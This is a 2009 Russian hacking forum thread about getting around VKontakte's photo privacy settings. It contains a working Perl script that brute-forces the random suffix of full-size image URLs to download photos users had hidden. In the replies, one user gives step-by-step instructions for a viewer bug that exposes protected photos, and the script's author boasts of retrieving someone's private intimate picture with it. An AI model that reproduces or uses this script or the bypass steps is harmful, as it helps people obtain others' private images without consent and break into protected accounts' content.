vkontakte image bruteforce |

31.07.2009, 11:18
|
|
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами:
8833125
Репутация:
16
|
|
vkontakte image bruteforce
Идея заключается в следующем: [в]контакте существуют альбомы с фотографиями, и ксожалению, зачастую полноразмерные картинки скрыты (чаще всего по инициативе пользователя).
Альбомы выглядят вот так: http://vkontakte.ru/album1_63553226
Тамбы имеют адрес вида: http://cs117.vkontakte.ru/u00001/63553226/m_ 18b46833.jpg
Тогда как полное изображение: http://cs117.vkontakte.ru/u00001/63553226/x_ fbca3166.jpg
Следует заметить, что единственное, что отличает тамб от фулпика - это 8 абсолютно_рандомных символа и наличие x_ вместо m_ перед ними. Сервер и папка с изображением и тамбом всегда одна и таже. Символы - вероятно кусок хэша, или еще какая-нибудь мунга-бунга. При любом раскладе, они у этих файлов разные.
Брутфорс осуществляется подбором этих 8 символов двумя способами:
1. По "словарю", что оставлено на случай если можно будет найти закономерность по которым вычисляется комбинация символов.
2. Рандомно, "налету".
8 символов при средней скорости в 50 комбинаций в секунду (проверено из Москвы, стрим), будут брутить одну картинку почти 2 тысячи лет;
2 символа чуть меньше минуты;
3 за 15;
ну а на 4 уйдет 8-10 часов;
При наличии файла на сервере, скрипт сохранит файл в папку инициализации, под именем вида x_hash1234.jpg
Чтобы эта вещь могла принести пользу раньше, чем через тысячу-другую лет, необходимо поднять скорость в 100000 раз (50*100000=5,000,000). Через юрл сделать это не представляется возможным, так что, остается только один путь...
Один путь заключается в нахождении зависимости сгенерированного куска хэша от времени загрузки, размера файла, имени файла, или, на худой конец, от мд5 оригинала. Далее, будет создан другой script.pl, который будет генерировать хэшлист, основываясь на известных параметрах изображения.
Еще более сумасшедний способ генерирования таких хэшлистов, это создание script.pl с "пауком", который сканировал бы все альбомы вконтакте, и логил бы возможные варианты после x_...
на два полных гига целый день уходит...
Зато, данный способ может прокатить, если рандом не такой уж и хороший, и комбинации действительно дублируются.
x_vkontakte.pl
PHP код:
#!/usr/bin/perl
# version: 0.8.4
# author: flatr0ze
# e-mail: flat.rose@gmail.com
use LWP::Simple;
print "\n1. Paste the full path of the image thumbnail:\n] ";
chomp($m_path1234 = <STDIN>);
$folder = substr $m_path1234, 0, -14;
$m_filename = substr $m_path1234, -14;
$m_hash1234 = substr $m_filename, 2, -4;
print "Parsing thumbnail...\n\n";
print "Image folder: ".$folder."\n";
print "Thumbnail filename: ".$m_filename."\n";
print "Thumbnail hash: ".$m_hash1234."\n\n";
print "2. Enter path to the hashlist, or leave it empty to run hash generator: \n] ";
chomp($hashlist = <STDIN>);
if ($hashlist) {
print "Loading hashlist...\n\n";
open(HASHLIST, $hashlist) || die "Error: Could not open hashlist file.\n";
# $attempts = <number of lines>; // depleted
while ($string = <HASHLIST>) {
$hash1234 = substr $string, 0, 8;
if (length($hash1234) > 7) {
$url = $folder."x_".$hash1234.".jpg";
if (head($url)) {
print "File ".$url." exists!\n\n";
print "Saving...\n\n";
getstore($url, "x_".$hash1234.".jpg");
} else {
print "File ".$url." doesn't exist.\r\r";
}
}
}
close(HASHLIST);
print "\n\nFinished!\n\n";
} else {
$attempts = 100000000;
print "Starting hash generator with ".$attempts." attempts...\n\n";
for ($i = 0; $i <= $attempts; $i++) {
$hash1234 = generateHash();
$url = $folder."x_".$hash1234.".jpg";
if (head($url)) {
print "[".$i."/".$attempts."] ";
print "File ".$url." exists!\n\n";
print "Saving...\n\n";
getstore($url, "x_".$hash1234.".jpg");
} else {
print "[".$i."/".$attempts."] ";
print "File ".$url." doesn't exist.\r\r";
}
}
print "\n\nFinished.\n\n";
}
sub generateHash {
my @chars = ('a'..'z','0'..'9');
my $hash;
for (0..7) {
$hash .= $chars[int rand @chars];
}
return $hash;
}
|
|
|

31.07.2009, 11:23
|
|
Познающий
Регистрация: 19.03.2008
Сообщений: 67
С нами:
9550963
Репутация:
6
|
|
оболдеть! вот это теория а на практикке реально такое осуществить?
|
|
|

31.07.2009, 11:33
|
|
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами:
8833125
Репутация:
16
|
|
объясняю еще раз...
эта вещь работает, и проверена мною лично, так как я же её и написал.
единственная проблема - это время:через 2к лет ни компов, ни жпега, ни нас уже не будет.
если найти закономерность генерации этих символов, то картинку из вконтакта можно будет достать любую!
|
|
|

31.07.2009, 13:04
|
|
Участник форума
Регистрация: 25.11.2008
Сообщений: 200
С нами:
9188969
Репутация:
45
|
|
Спасибо ТС
|
|
|

31.07.2009, 13:16
|
|
Новичок
Регистрация: 24.07.2009
Сообщений: 9
С нами:
8841798
Репутация:
10
|
|
Хм..написал недавно прогу..
http://forum.antichat.ru/threadnav114377-7-10.html
68й пост..но она качает только открытые альбомы.
Нов процессе разбора заметил..что в большинстве случаев..
попадаются пары отличающиеся только Х
2298267/m_f5a50e8e2e.jpg
2298267/x_f5a50e8e2e.jpg
Далее...если скрыт альбом..то как узнать у фотки это место http://cs40. онож всевремя разное
|
|
|

31.07.2009, 13:33
|
|
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами:
8833125
Репутация:
16
|
|
Сообщение от ViLKaa
Хм..написал недавно прогу..
http://forum.antichat.ru/threadnav114377-7-10.html
68й пост..но она качает только открытые альбомы.
Но в процессе разбора заметил..что в большинстве случаев..
попадаются пары отличающиеся только Х
2298267/m_f5a50e8e2e.jpg
2298267/x_f5a50e8e2e.jpg
Далее...если скрыт альбом..то как узнать у фотки это место http://cs40. онож всевремя разное
Прога хорошая, отличная работа!
---------------------------------------------
Не исключаю что подобные парные хэши тамбов и пиков могут иметь место, но вот только лично я не встречал их. Возможно, это остаточное явления старого хэширования имен файлов самого [в]контакта, когда подобная защита скрытых картинок была расчитана только на полностью скрытые альбомы, т.е. когда даже имя\сервер тамба не известен.
Далее...если альбом полностью скрыт, то сервер не узнать. Но тут встает вопрос: как вообще мы знаем о существовании пикчера ради которого готовы брутить 2000 лет (с), если альбом скрыт и мы даже не знаем что хотим достать? 
А у тамба и пики - повторюсь, сервера одинаковые, во всяком мне только одинаковые поадались. Возможно, если пикчер переезжает на другой сервак, то временно(хорошо если так), сервера могут быть разными.
|
|
|

31.07.2009, 15:34
|
|
Новичок
Регистрация: 25.04.2009
Сообщений: 17
С нами:
8971447
Репутация:
1
|
|
Обойти то где есть надпись "фотографии защещены настройками приватности" можно так:
-нажать на меню "Включить ускоренный режим просмотра фотографий »" -оно находится внизу за фотками и коментариями к ней
-найти фотку которая не защищена настройками приватности
-и стрелочками дойти до той фотки которая была защищена настройками приватности
|
|
|

31.07.2009, 15:44
|
|
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами:
8833125
Репутация:
16
|
|
Сообщение от hiphop191817
Обойти то где есть надпись "фотографии защещены настройками приватности" можно так:
-нажать на меню "Включить ускоренный режим просмотра фотографий »" -оно находится внизу за фотками и коментариями к ней
-найти фотку которая не защищена настройками приватности
-и стрелочками дойти до той фотки которая была защищена настройками приватности
ХА! Я достал задницу которую искал! Хэш был e69931f5, я бы брутил его порядка 20 лет если бы даже и знал что там всего 2 буквы ^^
Спасибо за туториал по багу, hiphop191817! Ты сегодня осчастливил одного хакера как минимум!
|
|
|

31.07.2009, 16:09
|
|
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами:
8833125
Репутация:
16
|
|
Ron: а ваще забавно
… надо воткнуть, откуда этот ускоренный режим получает айдишники
… чтоб напрямую обращаться, если даже все фотографии закрыты
Словами хаксора истина глаголится!
|
|
|

31.07.2009, 16:13
|
|
Новичок
Регистрация: 25.04.2009
Сообщений: 17
С нами:
8971447
Репутация:
1
|
|
если даже все фотографии закрыты
Такое встречается крайне редко, особенно в тех анкетах где много фотографий
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Разбираем матрицу: QR-код и чем его «едят» (C#).
|
c0n Difesa |
С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby |
17 |
18.11.2009 19:53 |
|
Акаунты в Vkontakte, Акаунты для спама
|
*Crysis* |
Покупка, продажа, услуги в Соц. Сетях |
0 |
04.03.2009 13:30 |
|
bruteforce vkontakte
|
SVAROG |
Социальные сети |
17 |
05.02.2009 12:11 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|